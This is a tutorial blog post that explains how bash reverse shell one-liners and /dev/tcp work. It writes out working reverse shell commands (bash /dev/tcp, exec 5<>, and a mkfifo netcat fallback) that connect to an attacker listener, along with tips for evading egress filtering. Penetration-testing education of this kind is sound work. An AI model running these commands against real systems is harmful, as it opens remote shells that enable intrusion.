Skip to content
reverseshell

Bash Reverse Shell One-Liners: How /dev/tcp Actually Works

The common bash reverse shell one-liners explained line by line, why they need bash (not sh), and how to fall back when /dev/tcp is missing.

Published on 3 min read

The classic bash reverse shell is one line, and almost everyone who uses it cannot explain why it works:

bash -i >& /dev/tcp/10.0.0.1/443 0>&1

It is worth understanding, because the day it fails — and it will — you need to know which piece broke. This post breaks down the common bash one-liners, explains the /dev/tcp trick, and shows what to do when it is not available.

/dev/tcp Is a Bash Feature, Not a File

There is no real /dev/tcp device on Linux. It is a virtual path that bash itself intercepts: opening /dev/tcp/HOST/PORT makes bash create a TCP connection to that host and port. Redirecting to it sends data over the socket.

That single fact explains the most common failure: the payload runs under /bin/sh, which on most systems is dash, not bash. dash has no /dev/tcp, so the line fails with no useful error. If a bash one-liner does nothing, the first question is always which shell am I actually in?

The One-Liner, Decoded

bash -i >& /dev/tcp/10.0.0.1/443 0>&1
  • bash -i starts an interactive bash. Interactive mode gives you a prompt and job control.
  • >& /dev/tcp/10.0.0.1/443 redirects both stdout and stderr to the TCP socket — so command output travels back to your listener.
  • 0>&1 redirects stdin (0) to the same place as stdout (1), i.e. the socket. Now bash reads your keystrokes from the connection too.

Put together: an interactive shell whose input and output are both the network socket. On the other end you run:

nc -lvnp 443

and you are typing into the target's bash.

Common Variants and When to Use Them

When the elegant version does not fit (no /dev/tcp, a restricted shell, an awkward injection point), these are the usual fallbacks.

Explicit redirection, same idea:

exec 5<>/dev/tcp/10.0.0.1/443; cat <&5 | while read line; do $line 2>&5 >&5; done

No /dev/tcp? Use netcat (mkfifo for builds without -e):

rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | sh -i 2>&1 | nc 10.0.0.1 443 > /tmp/f

The mkfifo version exists because many modern nc builds drop the -e flag (which would let you run nc -e /bin/sh). The named pipe reconnects stdin and stdout manually to get the same effect.

Why Yours Isn't Connecting

In order of how often it bites:

  1. You are in sh, not bash. Prefix with bash -c '...' to force it.
  2. Egress is filtered. Try 443 or 80 instead of an odd high port; outbound web ports are almost always open.
  3. Quoting got mangled on the way in. If the payload travelled through a web parameter or JSON, the redirections (>&, 0>&1) are quote-sensitive — see payload quoting.
  4. Listener mismatch. You are listening with the wrong tool or port. See choosing a listener.

For the full triage checklist, read why reverse shells fail.

Generate It Correctly the First Time

Retyping /dev/tcp/HOST/PORT and the redirection operators by hand is exactly where typos creep in. The reverse shell generator emits the bash variant you want — /dev/tcp, the exec 5<> form, or the mkfifo netcat fallback — already filled with your LHOST/LPORT, with the matching listener next to it.

Authorized Use Only

Generate and run these payloads only against systems you own or have explicit written permission to test. The technique is identical regardless of intent; authorization is what separates a penetration test from an intrusion.

Related articles

How the python reverse shell one-liner works with socket and pty, why the python/python3 split breaks payloads, and a version-agnostic fallback.
How a ruby reverse shell works with the socket library, the common one-liners, and when Ruby is the interpreter you can count on.
How the perl reverse shell works with the Socket module, the classic one-liner, and why Perl is the fallback on legacy Unix systems.